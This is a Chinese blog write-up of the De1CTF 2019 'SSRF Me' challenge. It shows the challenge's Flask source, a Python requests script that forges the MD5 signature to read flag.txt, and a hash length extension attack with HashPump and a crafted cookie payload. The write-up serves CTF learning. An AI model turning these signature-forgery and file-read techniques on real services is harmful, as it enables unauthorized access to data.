• [De1CTF 2019]SSRF Me | BUUCTF


    根据题目名我们知道这是一道SSRF的题目

    它允许攻击者在受害服务器上发起未经授权的网络请求

    分析

    在buuctf上有一个提示
    在这里插入图片描述
    也就是说flag在 网站的flag.txt

    访问主页
    在这里插入图片描述
    很明显是段flask代码

    格式化后

    from flask import Flask, request  # 导入Flask和request模块
    import socket
    import hashlib
    import urllib
    import sys
    import os
    import json
    
    reload(sys)
    sys.setdefaultencoding('latin1')
    
    app = Flask(__name__)  # 创建一个Flask应用实例
    secret_key = os.urandom(16)  # 生成一个16字节的随机密钥
    
    # 定义一个名为Task的类,用于处理任务
    class Task:
        def __init__(self, action, param, sign, ip):
            self.action = action  # 任务动作
            self.param = param    # 参数
            self.sign = sign      # 签名
            self.sandbox = md5(ip)  # 根据IP生成一个唯一的沙盒目录名
    
            if not os.path.exists(self.sandbox):
                os.mkdir(self.sandbox)  # 如果沙盒目录不存在,创建它
    
        def Exec(self):
            result = {}
            result['code'] = 500  # 默认响应码为500
    
            if self.checkSign():  # 检查签名是否有效
                if "scan" in self.action:  # 如果任务动作是"scan"
                    tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                    resp = scan(self.param)  # 执行扫描操作
                    if resp == "Connection Timeout":
                        result['data'] = resp
                    else:
                        print resp
                        tmpfile.write(resp)
                        tmpfile.close()
                        result['code'] = 200  # 执行成功,响应码为200
    
                if "read" in self.action:  # 如果任务动作是"read"
                    f = open("./%s/result.txt" % self.sandbox, 'r')
                    result['code'] = 200
                    result['data'] = f.read()  # 读取结果
    
            if result['code'] == 500:
                result['data'] = "Action Error"  # 如果动作无效,设置响应数据
            else:
                result['code'] = 500
                result['msg'] = "Sign Error"  # 如果签名无效,设置响应消息
    
            return result
    
        def checkSign(self):
            if getSign(self.action, self.param) == self.sign:  # 验证签名是否匹配
                return True
            else:
                return False
    
    # 创建路由"/geneSign",用于生成签名
    @app.route("/geneSign", methods=['GET', 'POST'])
    def geneSign():
        param = urllib.unquote(request.args.get("param", ""))
        action = "scan"
        return getSign(action, param)
    
    # 创建路由"/De1ta",用于处理任务
    @app.route('/De1ta', methods=['GET', 'POST'])
    def challenge():
        action = urllib.unquote(request.cookies.get("action"))
        param = urllib.unquote(request.args.get("param", ""))
        sign = urllib.unquote(request.cookies.get("sign"))
        ip = request.remote_addr
    
        if waf(param):  # 检查是否触发Web应用防火墙(WAF)
            return "No Hacker!!!!"
    
        task = Task(action, param, sign, ip)  # 创建任务对象
        return json.dumps(task.Exec())  # 返回任务执行结果的JSON表示
    
    # 创建根路由"/",用于返回文本文件内容
    @app.route('/')
    def index():
        return open("code.txt", "r").read()
    
    # 定义一个用于扫描URL的函数
    def scan(param):
        socket.setdefaulttimeout(1)     # 设置超时时间
        try:
            return urllib.urlopen(param).read()[:50]  # 打开URL并读取前50个字符
        except:
            return "Connection Timeout"
    
    # 生成签名的函数
    def getSign(action, param): 
        return hashlib.md5(secret_key + param + action).hexdigest()
    
    # 计算MD5哈希的函数
    def md5(content):
        return hashlib.md5(content).hexdigest()
    
    # Web应用防火墙(WAF)检查函数
    def waf(param):
        check = param.strip().lower()
        if check.startswith("gopher") or check.startswith("file"):  # 检查前缀开头
            return True  # 如果参数触发WAF规则,返回True
        else:
            return False
    
    if __name__ == '__main__':
        app.debug = False
        app.run(host='0.0.0.0', port=80)  # 启动Flask应用,监听在0.0.0.0的80端口上
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106
    • 107
    • 108
    • 109
    • 110
    • 111
    • 112
    • 113
    • 114

    分析代码

    • 路由
      • /geneSign :对param参数进行签名
      • /De1ta : 从客户端获取 action,param,sign参数,获取用户ip,使用waf函数对param进行检测,使用Task对象处理
      • / : 读取code.txt并显示
    • 全局函数
      • scan : 对指定url进行请求
      • getSign: 使用md5进行签名
      • md5 :对参数进行md5加密
      • waf :对参数进行检查,拦截字符串开头为 file和gopher的字符串
      • Task :

    如果直接访问flag.txt肯定是不行的,,因为没有这个路由

    其中有个scan函数

    def scan(param):
        socket.setdefaulttimeout(1)     # 设置超时时间
        try:
            return urllib.urlopen(param).read()[:50]  # 打开URL并读取前50个字符
        except:
            return "Connection Timeout"
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    构造

    可以直接传递文件名进行读取(flag.txt)

    首先需要获取sign

    根据代码构造我们需要的sign

    if "scan" in self.action:  # 如果任务动作是"scan"
    if "read" in self.action:  # 如果任务动作是"read"
    
    • 1
    • 2

    在Tesk类中有这两行代码,只要指定字符串存在action中,那么就是True
    此时我们可以构造 readscan 或者 scanread
    这样在第一个scan的时候会将结果写入文件,第二个read的时候就能读取文件中的内容了

    代码中的print resp只会打印在本地控制台,并不会显示在网页中

    而param我们构造 flag.txt即可

    获取sign

    @app.route("/geneSign", methods=['GET', 'POST'])
    def geneSign():
        param = urllib.unquote(request.args.get("param", ""))
        action = "scan"
        return getSign(action, param) 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    ?param="flag.txtread"
    
    • 1

    为什么要构造flag.txtread
    因为action默认指定为 scan
    原本我们需要的sign

    action=readscan
    param=flag.txt
    sign=getSign(action, param) = (flag.txtreadscan) = flag.txtreadscan
    
    • 1
    • 2
    • 3

    因为在 getSign 函数, action和param是反过来拼接的

    也就是说我们只需要构造flag.txtreadscan的sign即可,既然action被指定为scan,那么我们构造param为 flag.txtread也能获取一样的sign

    ?param=flag.txtread
    
    • 1

    在这里插入图片描述

    获取flag

    def challenge():
        action = urllib.unquote(request.cookies.get("action"))
        param = urllib.unquote(request.args.get("param", ""))
        sign = urllib.unquote(request.cookies.get("sign"))
        ....
    
    • 1
    • 2
    • 3
    • 4
    • 5

    构造响应的参数

    Cookie: action=readscan;sign=867c8e2493858fe77eb941ccb2724d18
    ?param=flag.txt
    
    • 1
    • 2

    在这里插入图片描述

    exp

    import requests
    
    url = "http://b26db27b-2c00-44ee-a653-3f194e0c3271.node4.buuoj.cn:81/"
    sign = requests.get(url+"geneSign?param=flag.txtread").text		# 获取sign
    cookies = {
        "sign": sign,
        'action': 'readscan'
    }
    
    flag = requests.get(url+"De1ta?param=flag.txt",cookies=cookies).text  # 获取flag
    
    print(flag)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    其他解法

    哈希长度拓展攻击

    这个就涉及到md5实现的一些原理了
    可以参考下
    https://zhuanlan.zhihu.com/p/587802432
    https://www.cnblogs.com/pcat/p/5478509.html
    使用工具 hashdump

    下载hashpump

    git clone https://github.com/bwall/HashPump
    apt-get install g++ libssl-dev
    cd HashPump
    make
    make install
    
    • 1
    • 2
    • 3
    • 4
    • 5

    举例

    原理可能稍微有点复杂,我们只需要知道需要的条件就可以了
    这里用php举个例子

    $secret_key = '1234567890';	# 盐
    echo md5($secret_key. "admin");
    
    • 1
    • 2

    输出的hash值为 501530457b49501056d8f994d12252ca

    我们这里知道了几个关键要素

    • hash值 : 501530457b49501056d8f994d12252ca
    • 输入的值: admin
    • 盐的长度 : 10

    知道这些条件我们就可以构造一个hash值

    使用hashpump

    在这里插入图片描述

    Input Data to Add是我们需要附加的值,附加的值会追加到我们输入的值上

    最后hashpump输入了两个值,一个hash,和一个追加数据后的值

    验证

    $secret_key = '0123456789';
    echo md5($secret_key. "admin\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x00\x00\x00\x00wlbnb");
    
    • 1
    • 2

    最后输出 c231ab9c9647fda124aa8f2dd5cef076 , 和hashpump给出的hash值一致

    利用

    回到题目

    在这里插入图片描述

    通过hashpump就能构造两个一样的hash值从而通过验证
    从前面知道了三个条件

    • hash值
    • 盐的长度
    • 输入的值

    在这里插入图片描述

    根据源码我们知道盐的长度

    secret_key = os.urandom(16)  # 生成一个16字节的随机密钥
    def geneSign():
        param = urllib.unquote(request.args.get("param", ""))
        action = "scan"
        return getSign(action, param)       # getSign('scan', 'flag.txtread')  # 9b7be9abc20f7d0ea3883024bb47d0e0
    
    # 生成签名的函数
    def getSign(action, param): 
        return hashlib.md5(secret_key + param + action).hexdigest()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    secret_key + param = 16 + flag.txt(8) = 24

    而我们的输入就是scan, 最后我们需要追加上read

    在这里插入图片描述

    \x 替换成 %即可

    ?param=flag.txt
    Cookie: sign=1214910894c1371b811859b24118598d; action=scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read
    
    • 1
    • 2

    在这里插入图片描述

    注意这个sign参数的hash是hashpump生成出来的hash

  • 相关阅读:
    Java一键授权方案 离线授权 日期授权 代码授权 代码混淆
    【Java Web】实现帖子点赞功能——基于Redis
    linux第一课:linux的“文化常识“
    SecureCRT 自动测试脚本的使用方法
    Stable Diffusion WebUI详细使用指南
    [附源码]计算机毕业设计JAVAjsp大学生兼职招聘网站
    JavaScript中的事件捕获(event capturing)和事件冒泡(event bubbling)
    【大话Presto 】- 核心概念
    代码注释有感
    期货量化交易客户端开源教学第九节——新用户注册
  • 原文地址:https://blog.csdn.net/qq_56313338/article/details/132732888